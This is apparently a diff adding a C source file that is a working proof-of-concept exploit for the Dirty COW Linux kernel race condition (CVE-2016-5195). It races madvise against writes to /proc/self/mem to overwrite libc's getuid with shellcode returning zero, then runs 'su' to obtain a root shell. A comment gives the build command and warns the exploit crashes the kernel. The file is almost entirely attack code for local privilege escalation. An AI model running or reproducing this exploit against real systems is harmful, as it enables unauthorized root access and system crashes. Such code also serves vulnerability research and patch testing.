@@ -0,0 +1,265 @@ 
   
    
    
    /*  
 
    
    
     * CVE-2016-5195 dirtypoc  
 
    
    
     *  
 
    
    
     * This PoC is memory only and doesn't write anything on the filesystem.  
 
    
    
     * /!\ Beware, it triggers a kernel crash a few minutes.  
 
    
    
     *  
 
    
    
     * gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread  
 
    
    
     */  
 
    
    
     
 
    
    
    #define  _GNU_SOURCE  
 
    
    
    #include  <err.h>  
 
    
    
    #include  <dlfcn.h>  
 
    
    
    #include  <stdio.h>  
 
    
    
    #include  <fcntl.h>  
 
    
    
    #include  <stdlib.h>  
 
    
    
    #include  <string.h>  
 
    
    
    #include  <unistd.h>  
 
    
    
    #include  <limits.h>  
 
    
    
    #include  <pthread.h>  
 
    
    
    #include  <stdbool.h>  
 
    
    
    #include  <sys/mman.h>  
 
    
    
    #include  <sys/stat.h>  
 
    
    
    #include  <sys/user.h>  
 
    
    
    #include  <sys/wait.h>  
 
    
    
    #include  <sys/types.h>  
 
    
    
     
 
    
    
     
 
    
    
    #define  SHELLCODE 	"\x31\xc0\xc3" 
 
    
    
    #define  SPACE_SIZE 	256 
 
    
    
    #define  LIBC_PATH 	"/lib/x86_64-linux-gnu/libc.so.6" 
 
    
    
    #define  LOOP 		0x1000000 
 
    
    
     
 
    
    
    #ifndef  PAGE_SIZE  
 
    
    
    #define  PAGE_SIZE  4096 
 
    
    
    #endif  
 
    
    
     
 
    
    
    struct  mem_arg   { 
 
    
    
    	struct  stat  st ;  
 
    
    
    	off_t  offset ;  
 
    
    
    	unsigned long  patch_addr ;  
 
    
    
    	unsigned char   * patch ;  
 
    
    
    	unsigned char   * unpatch ;  
 
    
    
    	size_t  patch_size ;  
 
    
    
    	bool  do_patch ;  
 
    
    
    	void  * map ;  
 
    
    
    };  
 
    
    
     
 
    
    
     
 
    
    
    static  int  check (bool  do_patch , const  char  * thread_name ) 
 
    
    
    {  
 
    
    
    	uid_t  uid ;  
 
    
    
     
 
    
    
    	uid  =  getuid ();  
 
    
    
     
 
    
    
    	if  (do_patch ) {  
 
    
    
    		if  (uid  ==  0 ) {  
 
    
    
    			printf ("[*] patched (%s)\n" , thread_name );  
 
    
    
    			return  1 ;  
 
    
    
    		}  
 
    
    
    	} else  {  
 
    
    
    		if  (uid  !=  0 ) {  
 
    
    
    			printf ("[*] unpatched: uid=%d (%s)\n" , uid , thread_name );  
 
    
    
    			return  1 ;  
 
    
    
    		}  
 
    
    
    	}  
 
    
    
     
 
    
    
    	return  0 ;  
 
    
    
    }  
 
    
    
     
 
    
    
     
 
    
    
    static  void  * madviseThread (void  * arg ) 
 
    
    
    {  
 
    
    
    	struct  mem_arg  * mem_arg ;  
 
    
    
    	size_t  size ;  
 
    
    
    	void  * addr ;  
 
    
    
    	int  i , c  =  0 ;  
 
    
    
     
 
    
    
    	mem_arg  =  (struct  mem_arg  * )arg ;  
 
    
    
    	addr  =  (void  * )(mem_arg -> offset  &  (~(PAGE_SIZE  -  1 )));  
 
    
    
    	size  =  mem_arg -> offset  -  (unsigned long )addr ;  
 
    
    
     
 
    
    
    	for (i  =  0 ; i  <  LOOP ; i ++ ) {  
 
    
    
    		c  +=  madvise (addr , size , MADV_DONTNEED );  
 
    
    
     
 
    
    
    		if  (i  % 0x1000  ==  0  &&  check (mem_arg -> do_patch , __func__ ))  
 
    
    
    			break ;  
 
    
    
    	}  
 
    
    
     
 
    
    
    	if  (c  ==  0x1337 )  
 
    
    
    		printf ("[*] madvise = %d\n" , c );  
 
    
    
     
 
    
    
    	return  NULL ;  
 
    
    
    }  
 
    
    
     
 
    
    
    static  void  * procselfmemThread (void  * arg ) 
 
    
    
    {  
 
    
    
    	struct  mem_arg  * mem_arg ;  
 
    
    
    	int  fd , i , c  =  0 ;  
 
    
    
    	unsigned char   * p ;  
 
    
    
     
 
    
    
    	mem_arg  =  (struct  mem_arg  * )arg ;  
 
    
    
    	p  =  mem_arg -> do_patch  ? mem_arg -> patch  : mem_arg -> unpatch ;  
 
    
    
     
 
    
    
    	fd  =  open ("/proc/self/mem" , O_RDWR );  
 
    
    
    	if  (fd  ==  -1 )  
 
    
    
    		err (1 , "open(\"/proc/self/mem\"" );  
 
    
    
     
 
    
    
    	for  (i  =  0 ; i  <  LOOP ; i ++ ) {  
 
    
    
    		lseek (fd , mem_arg -> offset , SEEK_SET );  
 
    
    
    		c  +=  write (fd , p , mem_arg -> patch_size );  
 
    
    
     
 
    
    
    		if  (i  % 0x1000  ==  0  &&  check (mem_arg -> do_patch , __func__ ))  
 
    
    
    			break ;  
 
    
    
    	}  
 
    
    
     
 
    
    
    	if  (c  ==  0x1337 )  
 
    
    
    		printf ("[*] /proc/self/mem %d\n" , c );  
 
    
    
     
 
    
    
    	close (fd );  
 
    
    
     
 
    
    
    	return  NULL ;  
 
    
    
    }  
 
    
    
     
 
    
    
    static  int  get_range (unsigned long  * start , unsigned long  * end ) 
 
    
    
    {  
 
    
    
    	char  line [4096 ];  
 
    
    
    	char  filename [PATH_MAX ];  
 
    
    
    	char  flags [32 ];  
 
    
    
    	FILE  * fp ;  
 
    
    
    	int  ret ;  
 
    
    
     
 
    
    
    	ret  =  -1 ;  
 
    
    
     
 
    
    
    	fp  =  fopen ("/proc/self/maps" , "r" );  
 
    
    
    	if  (fp  ==  NULL )  
 
    
    
    		err (1 , "fopen(\"/proc/self/maps\")" );  
 
    
    
     
 
    
    
    	while  (fgets (line , sizeof (line ), fp ) !=  NULL ) {  
 
    
    
    		sscanf (line , "%lx-%lx %s %*Lx %*x:%*x %*Lu %s" , start , end , flags , filename );  
 
    
    
     
 
    
    
    		if  (strstr (flags , "r-xp" ) ==  NULL )  
 
    
    
    			continue ;  
 
    
    
     
 
    
    
    		if  (strstr (filename , "/libc-" ) ==  NULL )  
 
    
    
    			continue ;  
 
    
    
    		//printf("[%lx-%6lx][%s][%s]\n", start, end, flags, filename);   
 
    
    
    		ret  =  0 ;  
 
    
    
    		break ;  
 
    
    
    	}  
 
    
    
     
 
    
    
    	fclose (fp );  
 
    
    
     
 
    
    
    	return  ret ;  
 
    
    
    }  
 
    
    
     
 
    
    
    static  void  getroot (void ) 
 
    
    
    {  
 
    
    
    	execlp ("su" , "su" , NULL );  
 
    
    
    	err (1 , "failed to execute \"su\"" );  
 
    
    
    }  
 
    
    
     
 
    
    
    static  void  exploit (struct  mem_arg  * mem_arg , bool  do_patch ) 
 
    
    
    {  
 
    
    
    	pthread_t  pth1 , pth2 ;  
 
    
    
     
 
    
    
    	printf ("[*] exploiting (%s)\n" , do_patch  ? "patch" : "unpatch" );  
 
    
    
     
 
    
    
    	mem_arg -> do_patch  =  do_patch ;  
 
    
    
     
 
    
    
    	pthread_create (& pth1 , NULL , madviseThread , mem_arg );  
 
    
    
    	pthread_create (& pth2 , NULL , procselfmemThread , mem_arg );  
 
    
    
     
 
    
    
    	pthread_join (pth1 , NULL );  
 
    
    
    	pthread_join (pth2 , NULL );  
 
    
    
    }  
 
    
    
     
 
    
    
    static  unsigned long  get_getuid_addr (void ) 
 
    
    
    {  
 
    
    
    	unsigned long  addr ;  
 
    
    
    	void  * handle ;  
 
    
    
    	char  * error ;  
 
    
    
     
 
    
    
    	dlerror ();  
 
    
    
     
 
    
    
    	handle  =  dlopen ("libc.so.6" , RTLD_LAZY );  
 
    
    
    	if  (handle  ==  NULL ) {  
 
    
    
    		fprintf (stderr , "%s\n" , dlerror ());  
 
    
    
    		exit (EXIT_FAILURE );  
 
    
    
    	}  
 
    
    
     
 
    
    
    	addr  =  (unsigned long )dlsym (handle , "getuid" );  
 
    
    
    	error  =  dlerror ();  
 
    
    
    	if  (error  !=  NULL ) {  
 
    
    
    		fprintf (stderr , "%s\n" , error );  
 
    
    
    		exit (EXIT_FAILURE );  
 
    
    
    	}  
 
    
    
     
 
    
    
    	dlclose (handle );  
 
    
    
     
 
    
    
    	return  addr ;  
 
    
    
    }  
 
    
    
     
 
    
    
    int  main (int  argc , char  * argv []) 
 
    
    
    {  
 
    
    
    	unsigned long  start , end ;  
 
    
    
    	unsigned long  getuid_addr ;  
 
    
    
    	struct  mem_arg  mem_arg ;  
 
    
    
    	struct  stat  st ;  
 
    
    
    	pid_t  pid ;  
 
    
    
    	int  fd ;  
 
    
    
     
 
    
    
    	if  (get_range (& start , & end ) !=  0 )  
 
    
    
    		errx (1 , "failed to get range" );  
 
    
    
     
 
    
    
    	printf ("[*] range: %lx-%lx]\n" , start , end );  
 
    
    
     
 
    
    
    	getuid_addr  =  get_getuid_addr ();  
 
    
    
    	printf ("[*] getuid = %lx\n" , getuid_addr );  
 
    
    
     
 
    
    
    	mem_arg .patch  =  malloc (sizeof (SHELLCODE )- 1 );  
 
    
    
    	if  (mem_arg .patch  ==  NULL )  
 
    
    
    		err (1 , "malloc" );  
 
    
    
     
 
    
    
    	mem_arg .unpatch  =  malloc (sizeof (SHELLCODE )- 1 );  
 
    
    
    	if  (mem_arg .unpatch  ==  NULL )  
 
    
    
    		err (1 , "malloc" );  
 
    
    
     
 
    
    
    	memcpy (mem_arg .unpatch , (void  * )getuid_addr , sizeof (SHELLCODE )- 1 );  
 
    
    
    	memcpy (mem_arg .patch , SHELLCODE , sizeof (SHELLCODE )- 1 );  
 
    
    
    	mem_arg .patch_size  =  sizeof (SHELLCODE )- 1 ;  
 
    
    
    	mem_arg .do_patch  =  true;  
 
    
    
     
 
    
    
    	fd  =  open (LIBC_PATH , O_RDONLY );  
 
    
    
    	if  (fd  ==  -1 )  
 
    
    
    		err (1 , "open(\""  LIBC_PATH  "\")" );  
 
    
    
    	if  (fstat (fd , & st ) ==  -1 )  
 
    
    
    		err (1 , "fstat" );  
 
    
    
     
 
    
    
    	mem_arg .map  =  mmap (NULL , st .st_size , PROT_READ , MAP_PRIVATE , fd , 0 );  
 
    
    
    	if  (mem_arg .map  ==  MAP_FAILED )  
 
    
    
    		err (1 , "mmap" );  
 
    
    
    	close (fd );  
 
    
    
     
 
    
    
    	printf ("[*] mmap %p\n" , mem_arg .map );  
 
    
    
     
 
    
    
    	mem_arg .st  =  st ;  
 
    
    
    	mem_arg .offset  =  (off_t )((unsigned long )mem_arg .map  +  getuid_addr  -  start );  
 
    
    
     
 
    
    
    	exploit (& mem_arg , true);  
 
    
    
     
 
    
    
    	pid  =  fork ();  
 
    
    
    	if  (pid  ==  -1 )  
 
    
    
    		err (1 , "fork" );  
 
    
    
     
 
    
    
    	if  (pid  ==  0 ) {  
 
    
    
    		getroot ();  
 
    
    
    	} else  {  
 
    
    
    		sleep (2 );  
 
    
    
    		exploit (& mem_arg , false);  
 
    
    
    		if  (waitpid (pid , NULL , 0 ) ==  -1 )  
 
    
    
    			warn ("waitpid" );  
 
    
    
    	}  
 
    
    
     
 
    
    
    	return  0 ;  
 
    
    
    }